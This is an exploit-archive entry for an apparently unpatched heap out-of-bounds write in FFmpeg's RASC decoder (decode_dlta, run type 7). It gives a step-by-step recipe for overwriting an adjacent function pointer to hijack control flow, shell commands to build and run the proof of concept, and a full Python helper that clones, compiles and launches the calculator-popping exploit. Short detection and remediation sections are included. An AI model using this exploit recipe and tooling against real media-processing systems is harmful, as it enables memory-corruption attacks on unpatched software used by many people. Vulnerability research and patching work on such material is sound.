PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

FFmpeg RASC Decoder DLTA Heap Out-of-Bounds Write

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
FFmpeg, libavcodec RASC decoder (AV_CODEC_ID_RASC)
Affected versions
Upstream master bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c (2026-06-26)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsffmpeg, libavcodec, heap-overflow, rasc, oob-write, media-parsing, codec, memory-corruption
RelatedN/A

Affected Target

FieldValue
Software / SystemFFmpeg, libavcodec RASC decoder (AV_CODEC_ID_RASC)
Versions AffectedUpstream master bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c (2026-06-26)
Language / PlatformC, targets libavcodec; reachable via AVI/RIFF files with a RASC FourCC
Authentication RequiredNo
Network Access RequiredNo (local/media-file processing; delivery via crafted media file is out of scope)

Summary

FFmpeg’s RASC decoder (decode_dlta() in libavcodec/rasc.c) tracks a row cursor and only checks whether it has reached the end of the current row after certain operations, rather than before. Several DLTA run types (4, 7, 12, 13) perform 32-bit reads/writes at the cursor position before this boundary check runs, so a crafted delta chunk positioned at the last byte of a row (e.g., x=63 on a 64-pixel-wide PAL8 row) causes a 4-byte read/write that crosses the row’s heap allocation boundary by 3 bytes. The included PoC demonstrates this is exploitable beyond a crash: it places a callback function pointer immediately after the 64-byte PAL8 plane via a custom get_buffer2 allocator, then uses DLTA run type 7 (whose 32-bit fill value comes directly from the bitstream) to overwrite the low 3 bytes of that adjacent pointer, redirecting it from a benign callback to an attacker-chosen one that is invoked after decode completes. The researcher confirmed the underlying heap-buffer-overflow with AddressSanitizer against current FFmpeg master and demonstrated full callback hijack (launching a calculator) in a non-ASAN build. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

decode_dlta()’s NEXT_LINE macro only checks cx >= w * s->bpp (row-end) after each operation completes, not before. DLTA run type 7 performs AV_WL32(b1 + cx, ...) / AV_WL32(b2 + cx, fill) — a 4-byte read and write — at the current cursor position before advancing and checking row bounds, so a cursor positioned at the last valid byte of a row causes the 32-bit access to read/write 3 bytes past the row’s heap allocation.

Attack Vector

  1. Attacker crafts a RASC bitstream with an INIT chunk declaring a small frame (e.g., width=64, height=1, PAL8 format) so the decoder allocates a tightly-sized 64-byte row plane.
  2. Attacker crafts a DLTA chunk using run type 7 positioned at x=63, w=1, h=1 — the last byte of the row — with an embedded 32-bit fill value.
  3. A vulnerable FFmpeg build decodes the crafted packet through the public libavcodec API (avcodec_open2/avcodec_send_packet/avcodec_receive_frame); decode_dlta() performs the out-of-bounds 32-bit write at the row boundary before its bounds check triggers.
  4. If attacker-controllable data (e.g., a function pointer, as in the PoC’s custom get_buffer2 frame layout) is allocated immediately adjacent to the frame plane, the crafted fill value overwrites the low bytes of that adjacent value.
  5. If the overwritten value is later used (e.g., a callback pointer invoked by the host application), execution can be redirected to attacker-influenced code, as demonstrated by the PoC’s calculator-launch proof.

Impact

Heap out-of-bounds write in libavcodec’s RASC decoder, reachable via crafted AVI/RIFF media containing a RASC-tagged stream; depending on adjacent heap layout and the host application’s memory usage, this can escalate from memory corruption to control-flow hijack, as demonstrated by the included callback-redirection PoC.


Environment / Lab Setup

Target:   FFmpeg built from source at bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c (or later, unpatched) with RASC decoder enabled
Attacker: Linux or WSL, gcc, make, zlib development headers, FFmpeg build dependencies

Proof of Concept

PoC Script

See ffmpeg_rasc_dlta_calc_poc.c, ffmpeg_rasc_dlta_calc_poc_portable.c, rasc_dlta_os_helper.py, build_from_checkout.sh, and run_calc_pop.sh in this folder.

1
2
3
git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg
./build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc
./run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc

build_from_checkout.sh configures and builds a RASC-only static libavcodec (--disable-everything --enable-decoder=rasc) and links the PoC against it. The PoC builds a crafted RASC packet in memory, decodes it via the public libavcodec API with a custom get_buffer2 callback that places a benign function pointer directly after the 64-byte PAL8 plane, and verifies the DLTA out-of-bounds write overwrites that pointer to redirect it to an attacker-chosen callback, which it then invokes to prove control-flow hijack (writing a marker file and launching a calculator).


Detection & Indicators of Compromise

Signs of compromise:

  • Crashes, hangs, or anomalous behavior in applications embedding libavcodec shortly after processing untrusted AVI/RIFF media
  • ASAN/crash-reporting output referencing decode_dlta or rasc.c in the stack trace
  • Unexpected child process spawns from media-processing services correlated with ingestion of attacker-supplied video files

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor FFmpeg for a fix; the source suggests guarding every 32-bit DLTA access with cx + 4 <= w * s->bpp before performing the read/write, applied to run types 4, 7, 12, and 13
Interim mitigationDisable the RASC decoder (--disable-decoder=rasc) in builds that process untrusted media, or run media decoding in a sandboxed/isolated process with no sensitive adjacent memory

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: ffmpeg-rasc-dlta-calc-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

rasc_dlta_os_helper.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
import argparse
import os
import platform
import shutil
import subprocess
import sys
from pathlib import Path


def in_wsl():
    if "WSL_DISTRO_NAME" in os.environ:
        return True
    try:
        return "microsoft" in Path("/proc/version").read_text(errors="ignore").lower()
    except OSError:
        return False


def host_name():
    name = platform.system().lower()
    if in_wsl():
        return "wsl"
    if name == "darwin":
        return "macos"
    if name == "linux":
        return "linux"
    if name == "windows":
        return "windows"
    return name or "unknown"


def command_program(command):
    parts = command.split()
    if len(parts) >= 2 and parts[0].lower() in {"cmd.exe", "cmd"} and parts[1].lower() == "/c":
        return parts[0]
    return parts[0] if parts else ""


def command_exists(command):
    program = command_program(command)
    if not program:
        return False
    if program.lower() == "open" and host_name() == "macos":
        return shutil.which("open") is not None
    if program.lower() in {"cmd.exe", "powershell.exe"} and host_name() == "windows":
        return True
    return shutil.which(program) is not None


def calc_candidates():
    host = host_name()
    if host == "macos":
        return ["open -a Calculator"]
    if host == "windows":
        return ["cmd.exe /c start calc.exe", "powershell.exe -NoProfile -Command Start-Process calc.exe"]
    if host == "wsl":
        return [
            "powershell.exe -NoProfile -Command Start-Process calc.exe",
            "cmd.exe /c start calc.exe",
            "gnome-calculator",
            "kcalc",
            "mate-calc",
            "qalculate-gtk",
            "xcalc",
        ]
    return ["gnome-calculator", "kcalc", "mate-calc", "qalculate-gtk", "xcalc"]


def choose_calc_command(preferred):
    if preferred:
        return preferred
    for command in calc_candidates():
        if command_exists(command):
            return command
    return ""


def run(args, cwd=None, env=None):
    print("+ " + " ".join(str(x) for x in args), flush=True)
    subprocess.run([str(x) for x in args], cwd=cwd, env=env, check=True)


def require_tool(name):
    path = shutil.which(name)
    if not path:
        raise SystemExit(f"missing required tool: {name}")
    return path


def clone_ffmpeg(src, ref):
    if (src / ".git").exists():
        run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref])
        run(["git", "-C", src, "checkout", "FETCH_HEAD"])
        return
    run(["git", "clone", "--depth", "1", "https://github.com/FFmpeg/FFmpeg.git", src])
    if ref and ref != "master":
        run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref])
        run(["git", "-C", src, "checkout", "FETCH_HEAD"])


def compiler():
    for name in [os.environ.get("CC"), "cc", "gcc", "clang"]:
        if name and shutil.which(name):
            return name
    raise SystemExit("missing C compiler: set CC or install gcc/clang")


def build_poc(options):
    root = Path(__file__).resolve().parents[1]
    src = Path(options.ffmpeg_src).expanduser().resolve()
    build = Path(options.build_dir).expanduser().resolve()
    output = Path(options.output).expanduser().resolve()
    source_file = root / "poc" / "ffmpeg_rasc_dlta_calc_poc_portable.c"
    cc = compiler()

    require_tool("git")
    require_tool("make")
    clone_ffmpeg(src, options.ffmpeg_ref)
    build.mkdir(parents=True, exist_ok=True)

    configure = [
        src / "configure",
        "--enable-debug",
        "--disable-doc",
        "--disable-stripping",
        "--disable-x86asm",
        "--disable-programs",
        "--disable-autodetect",
        "--disable-everything",
        "--enable-zlib",
        "--enable-decoder=rasc",
    ]
    run(configure, cwd=build)
    run(["make", f"-j{options.jobs}", "libavcodec/libavcodec.a", "libavutil/libavutil.a"], cwd=build)

    libs = ["-lz", "-lm", "-pthread"]
    if host_name() not in {"macos", "windows"}:
        libs.append("-ldl")

    compile_cmd = [
        cc,
        "-g",
        "-O0",
        f"-I{build}",
        f"-I{src}",
        source_file,
        build / "libavcodec/libavcodec.a",
        build / "libavutil/libavutil.a",
        *libs,
        "-o",
        output,
    ]
    run(compile_cmd)
    return output


def run_poc(binary, calc_command):
    env = os.environ.copy()
    if calc_command:
        env["RASC_CALC_CMD"] = calc_command
        print(f"selected calc command: {calc_command}", flush=True)
    else:
        print("no local calculator command found; marker file still proves callback execution", flush=True)
    run([binary], env=env)
    marker = Path("ffmpeg_rasc_dlta_calc_poc_marker.txt") if host_name() == "windows" else Path("/tmp/ffmpeg_rasc_dlta_calc_poc_marker")
    if marker.exists():
        print(f"marker:present {marker}", flush=True)
    else:
        print(f"marker:missing {marker}", flush=True)


def main():
    parser = argparse.ArgumentParser(description="Build and run the portable FFmpeg RASC DLTA calc PoC for this OS.")
    parser.add_argument("--mode", choices=["print", "build", "run"], default="run")
    parser.add_argument("--ffmpeg-src", default="/tmp/ffmpeg-rasc-dlta-src")
    parser.add_argument("--build-dir", default="/tmp/ffmpeg-rasc-dlta-build")
    parser.add_argument("--output", default="./ffmpeg_rasc_dlta_calc_poc_portable")
    parser.add_argument("--ffmpeg-ref", default="master")
    parser.add_argument("--calc-cmd", default="")
    parser.add_argument("--jobs", default=str(os.cpu_count() or 4))
    options = parser.parse_args()

    calc_command = choose_calc_command(options.calc_cmd)
    print(f"host: {host_name()}", flush=True)
    print(f"calc command: {calc_command or 'not found'}", flush=True)

    if options.mode == "print":
        return

    binary = build_poc(options)
    if options.mode == "run":
        run_poc(binary, calc_command)


if __name__ == "__main__":
    try:
        main()
    except subprocess.CalledProcessError as exc:
        sys.exit(exc.returncode)